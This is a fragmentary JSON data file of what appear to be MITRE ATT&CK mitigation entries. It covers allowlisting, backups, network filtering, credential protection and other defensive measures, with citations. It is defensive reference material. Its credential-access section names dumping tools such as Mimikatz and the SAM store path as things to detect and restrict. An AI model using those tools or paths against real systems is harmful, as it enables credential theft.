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                    "source_name": "Microsoft Install Password Filter n.d",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
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            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)",
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                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
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                    "source_name": "Microsoft MS14-025",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Query Registry Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
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            "name": "Login Item Mitigation",
            "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
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            "name": "Setuid and Setgid Mitigation",
            "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.",
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                    "external_id": "T1223"
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                {
                    "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016",
                    "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.",
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            "modified": "2025-04-18T17:59:41.389Z",
            "name": "Compiled HTML File Mitigation",
            "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
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            "created": "2019-03-14T20:17:16.234Z",
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                    "url": "https://attack.mitre.org/mitigations/T1488",
                    "external_id": "T1488"
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                {
                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Data Destruction Mitigation",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Secure Host Baseline EMET",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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            "name": "Exploitation of Remote Services Mitigation",
            "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.",
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                    "source_name": "applescript signing",
                    "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.",
                    "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/"
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            "name": "AppleScript Mitigation",
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing  (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "SpectorOPs SettingContent-ms Jun 2018",
                    "description": "Nelson, M. (2018, June 11). The Tale of SettingContent-ms Files. Retrieved April 18, 2019.",
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            "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n\nCentralized Log Management:\n\n- Configure endpoints to forward security logs to a centralized log collector or SIEM.\n- Use tools like Splunk Graylog, or Security Onion to aggregate and store logs.\n- Example command (Linux): `sudo auditd | tee /var/log/audit/audit.log | nc <remote-log-server> 514`\n\nRemote File Storage Solutions:\n\n- Utilize cloud storage solutions like AWS S3, Google Cloud Storage, or Azure Blob Storage for sensitive data.\n- Ensure proper encryption at rest and access control policies (IAM roles, ACLs).\n\nIntrusion Detection Log Forwarding:\n\n- Forward logs from IDS/IPS systems (e.g., Zeek/Suricata) to a remote security information system.\n- Example for Suricata log forwarding:\n`outputs:\n  - type: syslog\n    protocol: tls\n    address: <remote-syslog-server>`\n\nImmutable Backup Configurations:\n\n- Enable immutable storage settings for backups to prevent adversaries from modifying or deleting data.\n- Example: AWS S3 Object Lock.\n\nData Encryption:\n\n- Ensure encryption for sensitive data using AES-256 at rest and TLS 1.2+ for data in transit.\nTools: OpenSSL, BitLocker, LUKS for Linux.",
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            "description": "Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n\nIngress Traffic Filtering:\n\n- Use Case: Configure network firewalls to allow traffic only from authorized IP addresses to public-facing servers.\n- Implementation: Limit SSH (port 22) and RDP (port 3389) traffic to specific IP ranges.\n\nEgress Traffic Filtering:\n\n- Use Case: Use firewalls or endpoint security software to block unauthorized outbound traffic to prevent data exfiltration and command-and-control (C2) communications.\n- Implementation: Block outbound traffic to known malicious IPs or regions where communication is unexpected.\n\nProtocol-Based Filtering:\n\n- Use Case: Restrict the use of specific protocols that are commonly abused by adversaries, such as SMB, RPC, or Telnet, based on business needs.\n- Implementation: Disable SMBv1 on endpoints to prevent exploits like EternalBlue.\n\nNetwork Segmentation:\n\n- Use Case: Create network segments for critical systems and restrict communication between segments unless explicitly authorized.\n- Implementation: Implement VLANs to isolate IoT devices or guest networks from core business systems.\n\nApplication Layer Filtering:\n\n- Use Case: Use proxy servers or Web Application Firewalls (WAFs) to inspect and block malicious HTTP/S traffic.\n- Implementation: Configure a WAF to block SQL injection attempts or other web application exploitation techniques.",
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            "description": "Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n\nDeploy Web Proxy Filtering:\n\n- Use solutions to filter web traffic based on categories, reputation, and content types.\n- Enforce policies that block unsafe websites or file types at the gateway level.\n\nEnable DNS-Based Filtering:\n\n- Implement tools to restrict access to domains associated with malware or phishing campaigns.\n- Use public DNS filtering services to enhance protection.\n\nEnforce Content Security Policies (CSP):\n\n- Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.\n\nControl Browser Features:\n\n- Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.\n- Enforce policies through tools like Group Policy Management to control browser settings.\n\nMonitor and Alert on Web-Based Threats:\n\n- Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.\n- Configure alerts for access attempts to blocked domains or repeated file download failures.",
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                {
                    "source_name": "Wikipedia HPKP",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"
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                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
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            "name": "Install Root Certificate Mitigation",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
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            "name": "Limit Software Installation",
            "description": "Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n\nApplication Whitelisting\n\n- Implement Microsoft AppLocker or Windows Defender Application Control (WDAC) to create and enforce allowlists for approved software.\n- Whitelist applications based on file hash, path, or digital signatures.\n\nRestrict User Permissions\n\n- Remove local administrator rights for all non-IT users.\n- Use Role-Based Access Control (RBAC) to restrict installation permissions to privileged accounts only.\n\nSoftware Restriction Policies (SRP)\n\n- Use GPO to configure SRP to deny execution of binaries from directories such as `%AppData%`, `%Temp%`, and external drives.\n- Restrict specific file types (`.exe`, `.bat`, `.msi`, `.js`, `.vbs`) to trusted directories only.\n\nEndpoint Management Solutions\n\n- Deploy tools like Microsoft Intune, SCCM, or Jamf for centralized software management.\n- Maintain a list of approved software, versions, and updates across the enterprise.\n\nMonitor Software Installation Events\n\n- Enable logging of software installation events and monitor Windows Event ID 4688 and Event ID 11707 for software installs.\n- Use SIEM or EDR tools to alert on attempts to install unapproved software.\n\nImplement Software Inventory Management\n\n- Use tools like OSQuery or Wazuh to scan for unauthorized software on endpoints and servers.\n- Conduct regular audits to detect and remove unapproved software.\n\n*Tools for Implementation*\n\nApplication Whitelisting:\n\n- Microsoft AppLocker\n- Windows Defender Application Control (WDAC)\n\nEndpoint Management:\n\n- Microsoft Intune\n- SCCM (System Center Configuration Manager)\n- Jamf Pro (macOS)\n- Puppet or Ansible for automation\n\nSoftware Restriction Policies:\n\n- Group Policy Object (GPO)\n- Microsoft Software Restriction Policies (SRP)\n\nMonitoring and Logging:\n\n- Splunk\n- OSQuery\n- Wazuh (open-source SIEM and XDR)\n- EDRs\n\nInventory Management and Auditing:\n\n- OSQuery\n- Wazuh",
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            "name": "Sudo Mitigation",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
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            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
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            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
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            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
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                    "source_name": "Cisco Umbrella DGA Brute Force",
                    "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.",
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                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
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            "name": "SSH Hijacking Mitigation",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
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                    "source_name": "Ready.gov IT DRP",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)",
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            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)",
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            "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "Network Sniffing Mitigation",
            "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`) \n\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`) \n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.",
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                    "url": "https://attack.mitre.org/mitigations/T1201",
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                    "source_name": "Microsoft Password Complexity",
                    "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements"
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            "name": "Password Policy Discovery Mitigation",
            "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
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            "description": "Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n\nRestrict Access to Credential Storage:\n\n- Use Case: Prevent adversaries from accessing the SAM (Security Account Manager) database on Windows systems.\n- Implementation: Enforce least privilege principles and restrict administrative access to credential stores such as `C:\\Windows\\System32\\config\\SAM`.\n\nUse Credential Guard:\n\n- Use Case: Isolate LSASS (Local Security Authority Subsystem Service) memory to prevent credential dumping.\n- Implementation: Enable Windows Defender Credential Guard on enterprise endpoints to isolate secrets and protect them from unauthorized access.\n\nMonitor for Credential Dumping Tools:\n\n- Use Case: Detect and block known tools like Mimikatz or Windows Credential Editor.\n- Implementation: Flag suspicious process behavior related to credential dumping.\n\nDisable Cached Credentials:\n\n- Use Case: Prevent adversaries from exploiting cached credentials on endpoints.\n- Implementation: Configure group policy to reduce or eliminate the use of cached credentials (e.g., set Interactive logon: Number of previous logons to cache to 0).\n\nEnable Secure Boot and Memory Protections:\n\n- Use Case: Prevent memory-based attacks used to extract credentials.\n- Implementation: Configure Secure Boot and enforce hardware-based security features like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization).",
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                    "source_name": "NIST 800-63-3",
                    "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.",
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            "name": "Brute Force Mitigation",
            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
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            "name": "LLMNR/NBT-NS Poisoning Mitigation",
            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)",
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            "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
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                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Timestomp Mitigation",
            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1087",
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                    "source_name": "UCF STIG Elevation Account Enumeration",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Account Discovery Mitigation",
